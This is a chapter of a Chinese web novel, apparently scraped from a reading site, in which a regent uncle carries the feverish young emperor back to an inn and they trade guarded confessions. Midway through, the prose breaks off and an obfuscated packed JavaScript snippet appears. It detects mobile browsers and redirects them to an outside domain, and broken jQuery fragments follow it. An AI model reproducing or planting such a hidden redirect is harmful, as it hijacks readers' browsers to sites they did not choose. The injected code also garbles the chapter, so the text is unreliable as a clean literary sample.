默认冷灰
24号文字
方正启体

14. 第 14 章

作者:芬梨非梨本书字数:K更新时间:
    演得再假,毕竟是天子,越千仞还是得配合。


    褚照几乎全身都卸了力气,全靠他下意识的搂住提供的支撑,此时说完话,更是眼睛嘴巴都闭紧,恨不得能演个晕过去的病秧子。


    但他的脸颊上确实泛着潮红,唇色也比往日苍白些许。


    越千仞眼里闪过一丝无奈,调整了下姿势,让褚照倚靠在自己胸膛上,几乎是把他环在怀里的姿势。


    这么明目张胆地贴近,越千仞……很不习惯。


    他想不起来以前和褚照是否有亲密地贴近,那时候他都把褚照当成小孩子看待,根本没想过别的。


    可自从那事之后,他都在竭力避免与褚照有任何过于亲近的行为。


    尤其是此行扬州,虽说对小皇帝微服私访的行程了如指掌,可终究都是从书信的文字中得知。


    ——到底和真正见到对方是不一样的。


    他们也是有一段时间没有接触到了。


    可隔得久了,好像不是足以忘怀那夜的种种,反而是陡然间亲近时,某种回忆仿佛是通过肢体接触而触发,更加清晰。


    越千仞敛眸,却见褚照的脸颊潮红似乎更重,下唇还被他咬得发红。


    像是把那点心思都明目张胆写到脸上去了。


    他声音不觉放轻,“别咬嘴唇。”


    装晕的褚照一惊,赶忙紧紧抿唇,假装无事发生,只是呼吸都急促几分。


    他倒是啥也不怕,心思全写到脸上。


    而偏偏越千仞要配合他演戏,装作那夜发生过什么全然忘记,自然……也不能在神色和肢体上暴露思绪。


    所幸小皇帝趴在他胸膛上闭着眼睛呢,什么都没看到,也发现不了越千仞的复杂情绪。


    越千仞平复了呼吸,收敛思绪,叫其他人看不出有何异样。


    宅院中其他人还在忙碌。


    跟随他的有些人猜到褚照的身份,大气都不敢出,也有人尚未知晓。


    越千仞叫了郡尉一声。


    “你对云泽郡本就更熟悉,先交由你来审问,切忌屈打成招。”


    郡尉应声:“遵命。”


    他的视线迟疑地落到靠在凛王殿下怀里的少年身上,他不是京官,自然没见过天子龙颜,此时也只是对此人的身份有所疑虑。


    世人皆知凛王孑然一身,那这少年是……?


    越千仞交代完,略微弯腰,手臂穿到褚照的膝弯下面,直接一施力,便将他打横抱起。


    “本王回馆驿了,有事再来禀报。”


    他说话的声音,正正与褚照猛然变得急促的呼吸交叠在一起,又将其完全覆盖住。


    众人纷纷应声。


    越千仞横抱着褚照,大跨步地走出这宅院的后门。


    视线像是不经意地放低,落到怀里人的身上。


    褚照又咬住了下唇,尽管还在装模作样地闭着眼,不住颤抖扑棱的眼睫却在悄悄暴露主人的局促不安。


    此时隔着单薄的夏服,相贴的部位扩大,褚照脸上的潮红发热像是也同样扩散到互相贴紧的地方,传递着存在感过于强烈的热意。


    越千仞的衣襟被他攥紧,绷得骨节都泛白了。


    越千仞收回目光,只当没注意到。


    他觉得自己好像确实有点自己之前都没意识到的恶劣。


    明明可以让随行的宫人照顾,也可以让侍卫背着褚照回去——当然,估计他下这样的命令,褚照就会迷迷糊糊“突然”醒过来——,而他偏偏选择了这样的方法。


    就好像他自己不自在,也要瞧见褚照同样如此,才算扯平。


    哎,他大哥要真能托梦给他,可能当真要在梦里揍他了。


    好在菱川县的馆驿就在县衙旁边,从这宅院后门出来,半段路的距离就到了。


    越千仞叮嘱随行的宫人:“找一下县里知名的大夫过来。”


    来福忙不迭地应声:“是。”


    到了馆驿,越千仞才把褚照放到床上。


    尽管知道对方在装睡,但还是帮他把外衣褪去,又把一层夏被盖到他腰腹上。


    他又伸手摸了摸褚照的额头和脸颊。


    热意可能是羞臊的,但脸色确实不太好,唇色当真还有些发白。


    可瞧他还有小心思和自己装晕,也不像是真有何不适。


    大夫很快就被来福带来,在门口通报。


    越千仞没有再多想,起身去开门,决定让专业的来看。


    大夫战战兢兢,显然是对来到菱川县的大人物有所耳闻,毕恭毕敬地作揖:“参见凛王殿下。”


    越千仞沉声回应:“进来把个脉。”


    褚照正好瞧见机会,迷迷糊糊地睁开眼,嘟哝着开口:“叔父……这是哪?”


    越千仞心里觉得好笑,面上还是板着忍住,回答道:“馆驿。正好让大夫给你把脉一下,看看是不是中暑了。”


    大夫只认得凛王,自然不知道天子微服私访到此处。


    只是揣测着这少年也必是权贵,依然很是谨慎的态度,“公子,让老夫看一下脉象。”


    褚照当真没觉得自己身体有何不适,但还是听话地把手伸过去。


    他挪了挪姿势,在床上靠着坐了起来,越千仞给他后腰塞了个靠的圆枕,便让他霎时眼里带上笑意。


    大夫把了脉,又让褚照伸出舌头,又看了看眼睑。


    谨慎地反复查完后,才说:“天热口干,注意防暑。这位小公子脉象微虚,可能是气血不足。”


    越千仞问:“只是这样?”


    气血不足是褚照从小就有的毛病了,不过这几年调养得好很多,不算大碍。


    大夫低着头,谨慎地回答:“是的。”


    越千仞也没有多问,挥了挥手,示意来福给大夫诊金,把人送走。


    褚照笑嘻嘻:“叔父,你看我都没什么大问题,你今晚真的要去那花船吗?我可以和你一块去吗?”


    “不可!”越千仞声音冷下,瞪了褚照一眼,“那等烟花之地,不准去。”


    褚照被猛地凶住,整个人都顿住,片刻才委屈地说:“叔父去得,我去不得?”


    越千仞猜得到他的心思,哭笑不得,说:“地方官都落马了,我去做什么?那花船上不少女子就是被菱川县县令拐来,他也是用这生意大肆敛财,今日就该关门大吉了。”


    褚照小小地松了口气。


    “所以,叔父对那花船……不感兴趣?”


    他又想到了,在酒楼用膳时,旁边几桌的男人,聊得有多活色生香。


    寻常男子,大概都会对那样的地方有所向往吧?包装成王公贵族的奢靡场所,象征着无数人憧憬的挥霍享乐。


    越千仞瞪了他一眼:“不感兴趣,你也——”


    算了,他都要怀疑,是不是自己以前教育着褚照不能太早亲近女色,才让青春期过去的小皇帝,对女人瞧不见半分兴趣,反而对自己心怀情愫。


    他不再多说,硬生生地转移话题,问:“陛下要不要吃点东西,现在有点胃口了吗?”


    褚照摇头,“我不饿。”然后他又反应过来:“叔父怎知我没胃口?叔父是不是……早就知道我到菱川县了?”


    前几日他胃口可好了,走到哪吃到哪


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16403702|184381||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    越千仞无奈回答:“陛下离京时,臣就知晓了。”


    真当微服私访能让人毫不知情?少说这一路也带了二三十人,能有多隐蔽?


    褚照顿住。


    他确实是这么以为的!


    还想着此行自由散漫,偷偷跟着叔父,甚至在客栈偷看叔父,不会都被叔父知道吧?!


    他此刻只恨不得能把整个人都缩进被子里,脸色又红了几分。


    为了掩饰那小鹿乱撞的慌乱,褚照故作镇定地哼了一声,说:“朕微服出巡,遇到危险,也不见叔父关心,可见叔父根本不在意朕的安危。”


    越千仞都气笑了:“陛下九五之尊,臣怎么可能不关心?”


    要他说,如果不是褚照现在气色看着不佳,他真要揍他一顿让他知道,下次不准这样涉险了。


    褚照并不满意这个回答,也不知道叔父在心里想着怎么打他屁股。


    他追问:“我若不是皇帝呢?”


    越千仞脱口而出:“那你也是我的照儿,我怎么可能置你于危险境地?”


    他说完才反应过来这话听着不对——那称呼从褚照小时候便这么喊,可那夜褚照就是贴着他耳朵那样一声声自述着情谊,搞得越千仞都觉得这称呼都暧昧了几分。


    他轻咳一声,连忙做苍白的补充:“这意思是,你是叔父的侄儿,叔父将你视为己出。”


    这本就是彼此都知道的事情。


    于是褚照就当做没听到,嘴角还挂着压不住的笑,活似怀春的傻样。


    越千仞假装没看到,板着脸说:“都知道是遇到危险,陛下刚才怎么敢就那样直接行动?”


    褚照狡辩:“遇到之前,也不知道有危险呀!叔父,所以你怎么会正好找到?”


    越千仞看了他一眼,想了想还是开口:“确实是从陛下救下那对夫妇提供的线索,本想着寻找合适的时机,知道陛下自己先去踩点,臣就连忙过去了。”


    褚照心情大好,他听懂了,叔父确实是担心他,所以跟上去的。


    他又问:“那对夫妇如何了?”


    越千仞说:“暂且安置好了,被关押的女子等一一查明身份,也会送回各乡。”


    他停顿了下,又把自己打算对云泽郡这些官员如何调查处置说了下。


    褚照非常有政务敏感度——指他听着越千仞说着这些事,哪怕是心仪之人,都让他不由自主地打了个哈欠。


    叔父板着脸都好看,他简直想盯着叔父看一辈子,就是对方叽里咕噜地,他听不懂在说啥。


    越千仞成功读取到了褚照的反应,无奈开口:“京中不可一日无君,陛下玩够了,也该抓紧回京了。”


    褚照就是料到,叔父一见他肯定会这番催促,才躲着没露面。


    好在这几日确实在云泽郡逛够了。


    他只追问:“叔父呢?”


    越千仞只能回答:“处理完云泽郡的事务,随后立即回去。”他稍作停顿,又补充,“臣会快马加鞭赶回京的。”


    褚照还想说什么,听到这话,还是点头。


    然后伸出小指,弯曲着凑近上去。


    “拉勾。”


    越千仞还是没忍住笑了,同样把手伸了过去。


    几日之后,他果真处理完剩下的琐事,快马回京。


    只是刚到府邸,公府的属官就急匆匆地赶来:“殿下!这几日新府奉陛下之命动工,朝臣似有非议,所传风声尚未探明,却有人欲在明日早朝弹劾您!”


    越千仞勒马停下,差点忍不住问一句:褚照催促的开工,怎么也能弹劾到他身上?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)